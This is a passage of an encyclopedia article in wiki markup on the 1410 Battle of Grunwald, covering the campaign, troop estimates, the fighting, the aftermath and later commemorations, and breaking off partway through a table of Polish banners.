The Knights, however, invaded in [[1398]] again what were now Christians states of Poland and Lithuania. At this time, the Poles and the Lithuanians had little option but to suffer in silence for they were still not prepared militarily to confront the power of the Knights. 

In [[1409]] an uprising in Teutonic-held [[Samogitian Eldership|Samogitia]] started. The king of Poland backed up Lithuania and announced that he would stand by his promises in case the Teutons invaded Lithuania. This was used as a pretext and on [[August 14]] [[1409]] the Teutonic Grand Master [[Ulrich von Jungingen]] declared war on the Polish-Lithuanian union. The forces of the Teutonic Order initially invaded [[Greater Poland]] and [[Kuyavia]], but the Poles repelled the invasion and reconquered [[Bydgoszcz]] (Bromberg), which led to a subsequent [[armistice]] agreement that was to last until [[June 24]] [[1410]]. The Lithuanians and the Poles used this time in preparations to remove the Teutonic threat once and for all.

[[Image:Teutonic order charge.jpg|right|thumb|300px|Teutonic Knights, charging into battle. Note the distinct black cross on the white background.]]

The forces of the Teutonic Knights were aware of the Polish-Lithuanian build-up and were expecting a dual attack by the Poles towards Danzig([[Gdańsk]]) and the Lithuanians towards [[Samogitian Eldership|Samogitia]]. To counter this threat, [[Ulrich von Jungingen]] concentrated part of his forces in Schwetz ([[Świecie]]) while leaving the large part of his army in the eastern castles of [[Ragneta]]/[[Ragainė]], [[Ryn]] and Memel ([[Klaipėda]]). Poles and Lithuanians continued to screen their intentions by organising several raids deep into enemy territory. Ulrich von Jungingen asked for the armistice to be extended to [[July 4]] in order to let the [[mercenaries]] from western Europe arrive. Enough time had already been given for the Polish-Lithuanian forces to gather in strength.

On [[June 30]], [[1410]] the forces of Greater Poland and [[Lesser Poland]] crossed the [[Vistula]] over a [[pontoon bridge]] and joined with the forces of [[Masovia]] and the [[Grand Duchy of Lithuania]]. Jagiełło's Polish forces and the Lithuanian soldiers of his cousin [[Vytautas the Great]] (to whom Jagiełło had ceded power in Lithuania in the wake of his marriage to the Polish queen) assembled on [[July 2]] [[1410]] and a week later crossed into the territory of the Teutonic Knights, heading for the enemy headquarters at the castle of [[Malbork]]. The Teutonic Knights were caught by surprise.

Ulrich von Jungingen withdrew his forces from the area of [[Świecie]]/Schwetz and decided to organise a line of defence on the [[Drwęca River]]. The river crossings were fortified with [[stockade]]s and the castles nearby reinforced. After meeting with his War Council, Jagiełło decided to [[outflank]] the enemy forces from the East and continue the march towards Marienburg through Soldau([[Działdowo]]) and Gilgenburg([[Dąbrówno]]). On [[July 13]] both castles were captured and the way towards Marienburg was opened.

== Opposing forces ==
In the early morning of [[July 15]], [[1410]], both armies met in the fields near the villages of [[Grunwald]], [[Tannenberg]] and Łodwigowo (Ludwigsdorf). Both armies were dislocated in line formations. The Polish-Lithuanian army was set up in front of the villages of Łodwigowo/Ludwigsdorf and Stębark/Tannenberg. The left flank was guarded by the [[Jagiellon Poland|Polish]] forces of king [[Wladislaus II of Poland|Władysław Jagiełło]] and composed mostly of heavy cavalry. The right flank of the allied forces was guarded by the army of Grand Duke [[Vytautas the Great|Vytautas]], and composed mostly of light cavalry. Among the forces on the right flank were banners from all over the [[Grand Duchy of Lithuania|Grand Duchy]], as well as [[Lithuanian Tatars|Tatar]] skirmishers and (probably) [[Moldavia]]n mercenaries. The opposing forces of the [[Teutonic Order]] were composed mostly of heavy cavalry and infantry. They were aided by mercenaries from Western Europe, called &quot;the guests of the Order&quot;. 
[[Image:Krzyzac3.jpg|right|thumb|300px|Teutonic Knights before the Battle of Grunwald. [[Screenshot]] from the 1960 Polish movie ''[[Krzyżacy (movie)|Krzyżacy]]'', based on a 19th century novel by [[Henryk Sienkiewicz]].]]
The exact number of soldiers on both sides is hard to estimate. There are only two reliable sources describing the battle. The best-preserved and most complete was written by [[Ioannes Longinus]] but does not mention the exact numbers.  The other is incomplete and preserved only in a brief [[16th century]] document. Shortly after the battle in December [[1410]] the new Grand Master of the Teutonic Order, [[Heinrich von Plauen]], sent letters to Western European monarchs, in which he described the battle as a war against the forces of evil pagans. This view was shared by many chronicle writers. Since the outcome of the battle was subject to propaganda campaigns on both sides, many foreign authors frequently overestimated the Polish-Lithuanian forces in an attempt to explain the dramatic result. 

In one of the Prussian chronicles it is mentioned that &quot;''the forces of the Polish king were so numerous that there is no number high enough in the human language''&quot;. One of the anonymous chronicles from [[Lubeck]] mentions that the forces of Jagiello numbered some 1,700,000 soldiers, the forces of Vytautas with 2,700,000 (as well as ''a great number of Ruthenians''), in addition to 1,500,000 Tatars. Among the forces supposedly aiding the Polish-Lithuanian army were &quot;''[[Saracens]], [[Turkic peoples|Turks]], pagans of [[Damascus]], [[Iran|Persia]] and other lands''&quot;. According to [[Enguerrand de Monstrelet]] the Teutons fielded some 300,000 men, while their enemies under the kings of &quot;''Lithuania, Poland and [[Sarmatia]]''&quot; fielded 600,000. [[Andrew of Regensburg]] estimated the Polish-Lithuanian forces at 1,200,000 men-at-arms. 

More recent historians estimate the strength of the opposing forces at a much lower level. [[Ludwik Kolankowski]] estimated the Polish-Lithuanian forces at  16,000-18,000 Polish cavalry and 6,000-8,000 Lithuanian light cavalry, with the Teutonic Knights fielding 13,000-15,000 heavy cavalry. [[Jerzy Dąbrowski]] estimated the overall strength of the allied forces at 18,000 Polish cavalry and 11,000 Lithuanians and Ruthenians, with the opposing forces bringing 16,000 soldiers.

&lt;!--SCROLL DOWN TO EDIT THE ARTICLE--&gt;
{| border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;font-size: 85%; border: gray solid 1px; border-collapse: collapse; text-align: center;&quot; align=&quot;right&quot;
! Historian
! Poland
! Lithuania
! Others
! Teutonic Order
|-
| Luebeck Chronicle
| 1 700 000
| 2 700 000
| 1 500 000
| 
|-
| [[Enguerrand de Monstrelet]]
| 600 000
| 
| 
| 300 000
|-
| [[Andrew of Regensburg]]
| 1 200 000
| 
| 
|-
| [[Ludwik Kolankowski]]
| 18 000 heavy cavalry
| 8 000 light cavalry
| 
| 15 000 heavy cavalry
|-
| [[Jerzy Dabrowski|Jerzy Dąbrowski]]
| 18 000
| 11 000
| 
| 16 000 + 3 000 ''guests''
|-
| [[Henryk Lowmianski|Henryk Łowmiański]]
| 12 000 heavy cavalry
| 7 200 light cavalry
| 
| 11 000 heavy cavalry
|-
| [[Andrzej Nadolski]]
| 20 000
| 10 000
| 1000
| 
|-
|}

Regardless of such estimates, most of the modern historians count only the cavalry units. Apart from 16,000 cavalry, the Teutonic Order also fielded some 9,000 infantry, [[archer]]s and [[crossbow]] troops. Both armies also had large [[military camp]]s, [[Tabor (formation)|tabor]]s and other units, which made up some 10% of their total strength. 

Both armies were organised in ''[[banner]]s''. Each heavy cavalry banner was composed of approximately 240 mounted [[knight]]s as well as their squires and armour-bearers. Each banner flew its own standard and fought independently. Lithuanian banners were usually weaker and composed of approximately 180 light cavalry soldiers. The structure of foot units ([[pikemen]], [[archer]]s, [[crossbow]]men) and the artillery is unknown. 

The forces on both sides were composed of troops coming from a variety of countries and lands. Apart from units fielded by lands of [[Poland]], [[Grand Duchy of Lithuania]] and the [[Teutonic Order]], there were also mercenaries from Western Europe (most notably [[Alsace]], [[Lorraine (province)|Lorraine]], [[Germany|German Countries]], [[Moravia]], [[Bohemia]] and probably [[Moldavia]]. Historians of the [[Soviet Union]] attempted to overemphasize the Russian role in the battle. For example, they included some Lithuanian banners, such as [[Smolensk]], into the Russian list. They also phrased the desciption of the battle to make it appear that the support from Russian lands was decisive. In fact there was a joke that &quot;the battle with the [[fascism|fascist]] Teutons was won by joint Polish-Soviet forces&quot; (most of the territory of the Grand Duchy was part of the [[Soviet Union]] in [[20th century]]).

The overall commander of the joint Polish-Lithuanian forces was king [[Wladislaus II of Poland|Władysław Jagiełło]], with the Polish units subordinated to Marshal of the Crown [[Zbigniew of Brzezie]] and Lithuanian units under the immediate command of Grand Duke of Lithuania [[Vytautas the Great|Vytautas]].  Until recently it was believed that the Sword Bearer of the Crown [[Zyndram of Maszkowice]] was the commander in chief of the joint army, but this idea was based on a false translation of the description of the battle by [[Ioannes Longinus]]. The Teutonic Forces were commanded directly by the Grand Master of the Order [[Ulrich von Jungingen]]. 

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| [[Image:Grunwald_1_ang.jpg|right|280px|Initial position]]
|-
| [[Image:Grunwald_2_ang.jpg|right|280px|Lithuanian light cavalry retreat]]
|-
| [[Image:Grunwald_3_ang.jpg|right|280px|Right-flank Polish/Lithuanian assault]]
|-
| [[Image:Grunwald_4_ang.jpg|right|280px|Polish heavy cavalry break-through]]
|-
|}

== Course of the battle ==
The opposing forces formed their lines at dawn. At noon the forces of Grand Duke of Lithuania [[Vytautas the Great|Vytautas]] started an all-out assault on the left flank of the Teutonic forces, near the village of Tannenberg ([[Stębark]]). The Lithuanian cavalry was supported by a cavalry charge of several Polish banners on the right flank of the enemy forces. The enemy heavy cavalry counter-attacked on both flanks and fierce fighting occurred. After more than an hour, the [[Lithuanian]] light cavalry started to a planned retreat maneuver towards marshes and woods. This maneuver was oftenly used in the east of [[Grand Duchy of Lithuania]] by Mongols so Vytautas who had experience in battles against Mongols used it in this battle.  Only three banners of [[Smolensk]] commanded by [[Semen Lingwen]], son of [[Algirdas]], brother of [[Jogaila|Jagiełło]] and a cousin of [[Vytautas the Great|Vytautas]], remained on the right flank after the retreat of [[Vytautas the Great|Vytautas]] and his troops. One of them was totally destroyed while the remaining two were backed up by the Polish cavalry held in reserve and broke through the enemy lines to the Polish positions. 

Heavy cavalry of the Order started a disorganised pursuit after the retreating Lithuanians and entered the marshes, where [[Vytautas the Great|Vytautas]] reorganized his forces to return to battle. At the same time heavy fighting continued on the left flank of the Polish forces. After several hours of massed battle, the Teutonic cavalry started to gain the upper hand. According to [[Ioannes Longinus]] the Grand Master [[Ulrich von Jungingen]] personally led a cavalry charge on the strongest Polish unit — the Banner of the Land of [[Kraków]]. The Polish ranks started to waver and the flag of the banner was lost. However, it was soon recaptured by the Polish knights and king [[Wladyslaw Jagiello|Władysław Jagiełło]] ordered most of his reserves to enter combat.  The arrival of fresh troops allowed the Poles to repel the enemy assault and the forces of [[Ulrich von Jungingen]] were weakened. At the same time his reserves were still busy pursuing the evading Lithuanian cavalry. When they finally returned to the battlefield, it was already too late for the Teutonic charge to succeed and the forces of the Order started the withdrawal. 

After several hours of fighting, [[Ulrich von Jungingen]] decided to join his embattled forces in the main line of engagement.  [[Vytautas the Great|Vytautas]], however, also returned to the battlefield with the reorganized forces of [[Grand Duchy of Lithuania]] and joined the fierce fighting.  The Teutonic forces were by then becoming outnumbered by the mass of Polish knights and the advancing Lithuanian infantry, which all of a sudden had come pouring on the battlefield from the surrounding forests. [[Ulrich von Jungingen]] personally led the assault with 16 banners of heavy cavalry, which until then held in reserve. Jagiełło, however, threw in all his remaining reserves, as well as several already tired units.  Putting up heavy resistance, the 16 banners of the Great Master were surrounded and began to suffer high losses, including the Grand Master himself, who was probably killed by Polish peasantry. Seeing the fall of their Grand Master, the rest of the Teutonic forces started to withdraw towards their camp.  Part of the routed units retreated to the forests where they were pursued by the Lithuanian and Polish cavalry, while the rest retreated to the camp near the village of [[Grunwald]], where they tried to organise the defence by using the [[tabor (military unit) | tabor]] tactics: the camp was surrounded by waggons tied up with chains, serving as a mobile fortification. However, the defences were soon broken and the camp was looted. According to the anonymous author of the ''Chronicle of the Conflict of Ladislaus King of Poland with the Teutons Anno Domini 1410'', there were more bodies in and around the camp than on the rest of the battlefield. The pursuit after the fleeing Teutonic cavalry lasted until the dusk. 

Despite the technological superiority of the Teutonic Knights, to the point of this being believed to be the first battle in this part of Europe in which field-artillery was deployed, the numbers and tactical superiority of the Polish Lithuanian alliance were to prove overwhelming. 

[[Jan Zizka|Jan Žižka of Trocnov]] lost his first eye in the battle fighting for the Lithuanians.

== After the Battle ==
[[Image:Battle of Grunwald (After the Battle).jpg|thumb|250 px|A painting by [[Alphonse Mucha]] detailing the carnage after the Battle of Grunwald]]
The defeat of the [[Teutonic Order]] was resounding. According to [[Andrzej Nadolski]] about 8,000 Teuton soldiers were killed in the battle, and an additional 14,000 taken captive. Most of the approximately 250 members of the Order were also killed, including much of the Teutonic leadership. Apart from [[Ulrich von Jungingen]] himself, the Polish and Lithuanian forces killed also the Grand Marshal [[Friedrich von Wallenrode]], Grand Komtur [[Kuno von Lichtenstein]] and [[Albrecht von Schwartzburg]], the Grand Treasurer [[Thomas von Merheim]]. Komtur of [[Brandenburg]], [[Markward von Salzbach]] and the mayor of [[Sambia]] Schaumburg were executed by order of [[Vytautas the Great|Vytautas]] after the battle. The only higher officials to escape from the battle were Grand Hospital Master and Komtur of [[Elblag|Elbing]] [[Werner von Tettinger]]. Such a slaughter of noble knights and personalities was quite unusual in Mediæval Europe. This was possible mostly due to the participation of the peasantry who joined latter stages of the battle, and took part in destruction of the surrounded Teutonic troops. Unlike the noblemen, the peasants did not receive any ransom for taking captives; they thus had less of an incentive to keep them alive. Among those taken captive were [[Kazimierz V|Kasimir V]], duke of Stettin ([[Szczecin]]) , and [[Konrad the White]], duke of Oels ([[Oleśnica]]). 

After the battle Polish and Lithuanian forces stayed on the battlefield for three days. All notable officials were interred in separate graves, while the body of [[Ulrich von Jungingen]] was covered with royal coat and transported to [[Malbork|Marienburg]]. The rest of the dead were gathered in several mass graves. There are different speculations as to why [[Jagiello]] decided to wait that long. After three days, the Polish-Lithuanian forces moved on to Marienburg and laid siege upon the castle, but the three days time was enough for the Teutons to organise the defence. After several weeks of siege, the Lithuanian Grand Duke withdrew from the war and it became clear that the siege would not be effective. The nobility from Lesser Poland also wanted to end the war before the harvest and the siege was lifted. 

In the battle, both Polish and Lithuanian forces took several thousand captives. Most of the mercenaries were released shortly after the battle on the condition that they will return to Kraków on [[September 29]], [[1410]]. After that move, the king held most of the Teutonic officials, while the rest returned to Prussia to beg the Teutonic Order officials for their liberation and ransom payment. This proved to be a major drain of the Teutonic budget as an average rate for a knight was quite high. For instance, one of the mercenaries named [[Holbracht von Loym]] had to pay ''sixty times the number of 150 Prague [[grosz]]es'', that is almost 300 [[kilogram]]s of pure silver, a value uncommon even in modern times. With his army defeated and the remnants of it composed mostly of ill-paid mercenaries, [[Heinrich von Plauen]] had little incentive to continue the fight, especially that most of the cities owned by the Teutons sworn their loyalty to the Polish king. Thus, after retaking [[Danzig]] from rebelious burghers, the peace negotiations were started. 

The Peace of Thorn ([[Peace of Toruń 1411|Peace of Toruń]]) was concluded as a result of the Battle of Grunwald, in which Poland annexed the ''Dobriner Land'' ( [[Dobrzyn Land|Dobrzyń Land]]) and Lithuania recovered  [[Samogitia]]. This is thought to be a diplomatic defeat for Poland and Lithuania as they pushed for attempts to dismantle the [[Teutonic Knights]] state altogether. However, while the Poles and Lithuanians were unable to translate their military victory to greater political gains, the indirect results of the battle were much worse for the Teutons. The massacre of Teutonic troops left them with few forces to defend their remaining territories. The Grand Masters from then on had to rely on mercenary troops, which proved too expensive for the Teutons' budget to sustain. Although [[Heinrich von Plauen]], the successor to [[Ulrich von Jungingen]], managed to save his state from complete breakdown, the opposition to his rule among the burghers, the knights and within the Order itself forced his ouster. 

Eventually, the Teutons' internal conflicts and constant tax increases led to the uprising of the [[Prussian Confederation]]. The power of the Teutonic Knights waned as a result of this revolt, and the order never recovered. This decline led to a series of conflicts that culminated in the [[Thirteen Years' War]], leading to the death of the ''victorious order''.

==Influences of the Battle of Grunwald on modern culture==
===Poland===
[[Image:Grunwald_2003.jpg|right|thumb|300px|[[Jagiełło]] in the reconstruction of the battle in [[2003]].]]

The battle of Grunwald is regarded as one of the most important battles in the Polish history. It is often depicted by an [[ideogram]] of two swords, which were supposedly given to king Jagiello before the battle by the Teutonic envoys to &quot;raise Polish desire for battle&quot;. 

[[Image:Order Krzyża Grunwaldu kl. I-awers.jpg|left|thumb|200px|[[Grunwald Cross Medal]], symbol of two swords is visible]]

In [[1914]], on the eve of [[World War I]], during the celebrations marking the 500-year anniversary of the battle a monument was erected in [[Kraków]]. The ceremony spawned demonstrations of outrage within Polish society against the aggressive politics of the [[German Empire]], including the forcible [[Germanization]] of [[Poles]] after the [[partitions of Poland]]. Polish poet [[Maria Konopnicka]] wrote the fiercely Polish-patriotic and anti-German poem [[Rota (The oath)|Rota]]. About the same time, [[Henryk Sienkiewicz]] wrote his book ''[[The Teutonic Knights (book)|The Teutonic Knights]]'' (Polish: ''Krzyżacy'') , one of his series of books designed to increase the patriotic spirit among the Poles. The book was eventually depicted in the film ''[[The Teutonic Knights (film)|The Teutonic Knights]]'' by [[Aleksander Ford]].
These days, a festival is held every year to commemorate this medieval battle. Thousands of [[medieval reenactment|medieval reenactors]], many of them in knight's armor, from all across Europe gather every year in July at the Grunwald fields to reconstruct the battle again. Great care is put to the historical details of the armour, weapons and the conduct of the battle.

[[Order Krzyża Grunwaldu]] (''The Grunwald Cross Medal'') was a Polish military award created in [[1943]] by commander of [[Gwardia Ludowa]] (in [[1944]] confirmed by [[Krajowa Rada Narodowa]]) and was given for heroism in [[World War II]].

In Poland there are [[sport team]]s named &quot;Grunwald&quot;' like [[Grunwald Poznań]]. Moreover, one of administrative districts of [[Poznań]] ([[Poznań-Grunwald]]) was named after this village.

===Belarus===
The victory in the Battle of Grunwald is widely respected and commemorated in Belarus. In 15th century the lands of modern-day [[Belarus]] made up [[media: Gdlbelarus1400.JPG|the core of the territory]] of [[Grand Duchy of Lithuania]].  Many of cities from what is today Belarus sent their troops to the battle to fight on the Grand Duchy's side.

===Lithuania===
The victory at the Battle of Grunwald or ''Žalgirio mūšis'' in 1410 is synonymous to the peak of the political and military power of the Grand Duchy of Lithuania. The demise of the Teutonic order ended the period of German expansion and created preconditions for the political stability, economic growth and relative cultural prosperity  that lasted until the rise of [[Muscovy]] in the late XVI century. In the Lithuanian historical discourse regarding the battle there is a lasting debate and controversy over the role played by the Lithuanian-born king of Poland [[Jogaila]], and his cousin, the Grand Duke of Lithuania, [[Vytautas the Great|Vytautas]], the latter usually being favoured as a national hero. 

Leading Lithuanian [[basketball]] and [[football (soccer)|football]] teams are both called &quot;Žalgiris&quot; to commemorate the victorious battle [[BC Žalgiris]] and [[FK Žalgiris]]. 

The term ''Žalgiris'' became a symbol of the resistence to the foreign domination over Lithuania. The victories of the basketball club [[BC Žalgiris]] Kaunas against the Soviet Army sports club CSKA Moscow (in the late [[1980s]]) served as a major emotional inspiration for the Lithuanian national revival, and the consequent emergence of [[Sąjūdis]] movement that led to the collapse of [[USSR]].

===Germany===
In Germany the battle was known as the Battle of Tannenberg. In [[1914]] yet another [[Battle of Tannenberg (1914)|Battle of Tannenberg]] took place between Germany and Russia, ending with a Russian defeat. In German propaganda during the WWI / WWII period the 1914 battle was put forth as a revenge for the Polish - Lithuanian victory 504 years earlier, and the battle itself was purposefuly named to suit this agenda.

===Russia and Soviet Union===
Due to participation of [[Smolensk]] squad in the battle, Soviet propaganda depicted  the battle as [[Poland|Polish]]-[[Lithuania|Lithuanian]]-[[Russia|Russian]] coalition against evil [[German people|Germans]].


== Banners ==
=== Poland ===
The exact [[Order of Battle]] of the Polish forces is unknown. However, [[Ioannes Longinus]] in his ''Historiæ Polonicæ'' written after [[1455]] recorded 51 Polish [[Choragiew|banners]], together with their descriptions, blazoning and commanders. It is not certain whether the list is complete. 

{| border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;font-size: 85%; border: gray solid 1px; border-collapse: collapse; text-align: center;&quot;
|- style=&quot;background: #ececec;&quot;
! Banner of
! Battle sign
! Origin
! Remarks
|-
! colspan=&quot;14&quot; style=&quot;background: #f9f9f9; text-align: left;&quot; | &amp;nbsp;&amp;nbsp;''Army of [[The Crown]]'' - Court Banners
|-
! Great Banner of [[Kraków]] and the Kingdom of Poland
| align=&quot;left&quot; | [[Image:Choragiew Krakowska.png|40px|The Crown]] [[Coat of Arms of Poland|Arms of Poland]]
| 
| Elite troops, under [[Zyndram of Maszkowice]]
|-
! &quot;Gończa&quot; Court Banner
| align=&quot;left&quot; | [[Image:Flaga Goncza.jpg|30px|Goncza]] [[Goncza Coat of Arms]]
| 
| under Andrzej of Ochocice of [[Osorya]]
|-
! Pogoń Court Banner
| align=&quot;left&quot; | [[Image:Pogon.png|40px|Pogoń]] [[Pahonia]]
| 
| under Andrzej [[Ciolek Coat of Arms|Ciołek]] of Żelechów and Jan of Sprowa of [[Odrawaz Coat of Arms|Odrowąż]]
|-
! [[Saint George]]
| align=&quot;left&quot; | [[Image:Flaga_Saint_George.jpg|30px|Saint George]]
| 
| Bohemian and Moravian mercenaries, under Sokol and Zbyslavek
|-
! colspan=&quot;14&quot; style=&quot;background: #f9f9f9; text-align: left;&quot; | &amp;nbsp;&amp;nbsp;''Army of [[The Crown]]'' - Regional Banners
|-
! [[Greater Poland]]
| align=&quot;left&quot; | [[Image:Flaga_Wielkopolska.jpg|30px|Greater Poland]] [[Coat of Arms of Greater Poland]]
|
|
|-
! Land of [[Sandomierz]]
| align=&quot;left&quot; | [[Image:Flaga_Sandomierz.jpg|30px|Sandomierz]] [[Flag of Sandomierz]]
|
|
|-
! [[Kalisz]]
| align=&quot;left&quot; | [[Image:Flaga_Kalisz.jpg|30px|Kalisz]] [[Flag of Kalisz]]
|
|
|-
! Land of [[Sieradz]]
| align=&quot;left&quot; | [[Image:Flaga_Sieradz.jpg|30px|Sieradz]] [[Flag of Sieradz]]
|
|
|-
! Land of [[Lublin]]
| align=&quot;left&quot; | [[Image:Flaga_Lublin.jpg|30px|Lublin]] [[Jelen Coat of Arms|Jeleń]]
| 
|
|-
! Land of [[Łęczyca]]
| align=&quot;left&quot; | [[Image:Flaga_Leczyca.jpg|30px|Leczyca]] [[Flag of Leczyca|Flag of Łęczyca]]
| 
|
|-
! Land of [[Cuyavia]]
| align=&quot;left&quot; | [[Image:Flaga_Kujawy.jpg|30px|Cuyavia]] [[Coat of Arms of Cuyavia]]
| 
|
|-
! Land of [[Lwów]]
| align=&quot;left&quot; | [[Image:Flaga_Lwow.jpg|30px|Lwow]] [[Coat of Arms of Halicz Ruthenia|Banner of Lwów]]
| 
|
|-
! Land of [[Wieluń]]
| align=&quot;left&quot; | [[Image:Flaga_Wielun.jpg|30px|Wielun]] [[Flag of Wielun|Flag of Wieluń]]
|
| Reinforced with mercenaries from [[Silesia]]
|-
! Land of [[Przemysl|Przemyśl]]
| align=&quot;left&quot; | [[Image:Flaga_Przemysl.jpg|30px|Przemyśl]] [[Flag of Przemyśl]]
|
|
|-
! [[Dobrzyn|Dobrzyń]]
| align=&quot;left&quot; | [[Image:Flaga_Dobrzyn1.jpg|30px|Dobrzyn]] [[Coat of Arms of Dobrzyn|Coat of Arms of Dobrzyń]]
|
|
|-
! Land of [[Chełm]]
| align=&quot;left&quot; |  [[Image:Flaga_Chelm1.jpg|30px|Chelm]][[Coat of Arms of Chelm|Coat of Arms of Chełm]]
| 
| 
|-
! Three banners of [[Podolia]]
| align=&quot;left&quot; | [[Image:Flaga Podole.png|40px|Podolia]] [[Coat of Arms of Podolia]]
| 
| Split up due to large number of knights
|- 
! Land of [[Halicz]]
| align=&quot;left&quot; | [[Image:Flaga_Halicz.jpg|30px|Halicz]] [[Coat of Arms of Halicz]]
|
|
|-
! colspan=&quot;14&quot; style=&quot;background: #f9f9f9; text-align: left;&quot; | &amp;nbsp;&amp;nbsp;''Army of [[The Crown]]'' - Masovian Banners
|-
! Two banners of &lt;br&gt;Duke [[Siemowit IV of Masovia]]
| align=&quot;left&quot; | [[Image:Flaga_Mazowsze.jpg|30px|Masovia]] [[Coat of Arms of Masovia]]
| [[Masovia]], mostly [[Płock]] area
| [[Dukes of Masovia]]
|-
! Duke [[Janusz I of Masovia]]
| align=&quot;left&quot; | [[Image:Banner Masovia.png|40px|Banner of Masovia as flown by the forces of Janusz I]] own
| [[Masovia]], mostly [[Warsaw]] area
| [[Dukes of Masovia]]
|-
! colspan=&quot;14&quot; style=&quot;background: #f9f9f9; text-align: left;&quot; | &amp;nbsp;&amp;nbsp;''Army of [[The Crown]]'' - Personal Banners
|-
! Archbishop of [[Gniezno]] &lt;br&gt;[[Mikolaj Kurowski|Mikołaj Kurowski]]
| align=&quot;left&quot; | [[Image:Flaga Szreniawa.png|40px|Sreniawa]] [[Sreniawa Coat of Arms|Śreniawa ]]
|
|
|-
! Bishop of [[Poznań]] &lt;br&gt;;[[Wojciech Jastrzebiec|Wojciech Jastrzębiec]]
| align=&quot;left&quot; | [[Image:Herb Jastrzebiec.jpg|30px|Jastrzębiec]] [[Jastrzebiec Coat of Arms|Jastrzębiec ]]
|
| under [[Jarand of Brudzewo]]
|-
! Castellan of [[Kraków]] &lt;br&gt;[[Krystyn of Ostrów]]
| align=&quot;left&quot; | [[Image:Flaga Rawicz.png|40px|Rawicz]] [[Rawicz Coat of Arms|Rawicz ]]
| 
|
|-
! [[Voivod]] of [[Kraków]] &lt;br&gt;[[Jan z Tarnowa (1367-1433)|Jan of Tarnów]]
| align=&quot;left&quot; | [[Image:Herb Leliwa.jpg|30px|Leliwa]] [[Leliwa Coat of Arms|Leliwa ]]
| 
| 
|-
! Voivod of [[Poznań]] &lt;br&gt;[[Sedziwoj of Ostrorog|Sędziwój of Ostroróg]]
| align=&quot;left&quot; | [[Image:Flaga Nalecz.png|40px|Nałęcz]] [[Nalecz Coat of Arms|Nałęcz ]]
|
|
|-
! Voivod of [[Sandomierz]] &lt;br&gt;[[Mikolaj of Michalowo|Mikołaj of Michałowo]]
| align=&quot;left&quot; | [[Image:Flaga Poraj.png|40px|Poraj]] [[Poraj Coat of Arms|Poraj]]
| 
|
|-
! Voivod of [[Sieradz]] &lt;br&gt;[[Jakub of Koniecpol]]
| align=&quot;left&quot; | [[Image:Herb Pobog.jpg|30px|Pobóg]] [[Pobóg]]
|
|
|-
! [[Castellan]] of [[Śrem, Poland|Śrem]] &lt;br&gt;[[Iwo of Obiechów]]
| align=&quot;left&quot; | [[Image:Herb Wieniawa.jpg|30px|Wieniawa]] [[Wieniawa]]
|
|
|-
! Voivod of [[Łęczyca]] &lt;br&gt;[[Jan Ligeza|Jan Ligęza]]
| align=&quot;left&quot; | [[Image:Flaga Polkozic.png|40px|Półkozic]] [[Polkozic Coat of Arms|Półkozic ]]
|
|
|- 
! Castellan of [[Wojnice]] &lt;br&gt;[[Andrzej of Teczyn|Andrzej of Tęczyn]]
| align=&quot;left&quot; | [[Image:Flaga Topór.png|40px|Topór]] [[Topór ]]
|
|
|-
! Marshal of The Crown &lt;br&gt;[[Zbigniew of Brzezie]]
| align=&quot;left&quot; | [[Image:Herb Zadora.jpg|30px|Zadora]] [[Zadora]]
|
|
|-
! [[Chambelain]] of [[Kraków]] &lt;br&gt;[[Piotr Szafraniec]]
| align=&quot;left&quot; | [[Image:Flaga Starykon.png|40px|Starykon]] [[Starykon Coat of Arms|Starykoń ]]
|
|
|-
! Castellan of [[Wiślica]] &lt;br&gt;[[Klemens of Moskorzów]]
| align=&quot;left&quot; | [[Image:Herb Pilawa.jpg|30px|Pilawa]] [[Pilawa Coat of Arms|Piława]]
|
|
|-
! Castellan of [[Śrem, Poland|Śrem]] and mayor of Greater Poland &lt;br&gt;[[Wincenty of Granów]]
| align=&quot;left&quot; | [[Image:Herb Leliwa.jpg|30px|Leliwa]] [[Leliwa]]
| 
|
|- 
! [[Dobko of Olesnica|Dobko of Oleśnica]]
| align=&quot;left&quot; | [[Image:Flaga Debno.png|40px|Dębno]] [[Debno Coat of Arms|Dębno ]]
|
|
|-
! [[Spytek z Tarnowa i Jaroslawia|Spytko of Tarnów]]
| align=&quot;left&quot; | [[Image:Herb Leliwa.jpg|30px|Leliwa]] [[Leliwa]]
|
|
|-
! Lord High Steward of [[Kalisz]] &lt;br&gt;[[Marcin of Slawsko|Marcin of Sławsko]]
| align=&quot;left&quot; | [[Image:Herb Zaremba.jpg|30px|Zaremba]] [[Zaremba]]
|
|
|-
! [[Dobrogost Swidwa|Dobrogost Świdwa]] of [[Szamotuły]]
| align=&quot;left&quot; | [[Image:Flaga Nalecz.png|40px|Nałęcz]] [[Nalecz Coat of Arms|Nałęcz ]]
|
|
|-
! [[Krystyn of Kozieglowy|Krystyn of Koziegłowy]]
| align=&quot;left&quot; | [[Image:Flaga Lis.png|40px|Lis]] [[Lis Coat of Arms|Lis]]
|
|
|-
! Master King's Cup-Bearer &lt;br&gt;[[Jan Mezyk|Jan Mężyk]]
| align=&quot;left&quot; | [[Image:Flaga Wadwicz.png|40px|Wadwicz]] [[Wadwicz Coat of Arms|Wadwicz]]
|
|
|-
! Deputy Chancellor of the Crown &lt;br&gt;[[Mikolaj Traba|Mikołaj Trąba]]
| align=&quot;left&quot; | [[Image:Herb Traby.jpg|30px|Trąby]] [[Traby Coat of Arms|Trąby ]]
|
|
|-
! [[Mikolaj Kmita|Mikołaj Kmita]] of [[Wisnicz|Wiśnicz]]
| align=&quot;left&quot; | [[Image:Flaga Szreniawa.png|40px|Sreniawa]] [[Sreniawa Coat of Arms|Śreniawa ]]
|
|
|-
! Gryf Clan
| align=&quot;left&quot; | [[Image:Flaga Gryf.png|40px|Gryf]] [[Gryf Coat of Arms|Gryf]]
| 
| Family of Gryf, under [[Zygmunt of Bobowa]]
|-
! [[Zaklika Korzkwicki|Zaklika of Korzkiew]]
| align=&quot;left&quot; | [[Image:Flaga Syrokomla.png|40px|Syrokomla]] [[Syrokomla]]
|
|
|-
! Clan of Koźlerogi
| align=&quot;left&quot; | [[Image:Flaga Jelita.png|40px|Kozlerogi]] [[Kozlerogi Coat of Arms|Koźlerogi ]]
| 
| Family, under Castellan of [[Wiślica]] [[Florian of Korytnica]]
|-
! [[John of Jicin|Jan of Jičín]]
| align=&quot;left&quot; | [[Image:Flaga Odrowaz.png|40px|Benesovec]] [[Odrowaz Coat of Arms|Benešovec ]]
| [[Moravia]]
| Volunteers from Moravia, commanded by certain Helm
|-
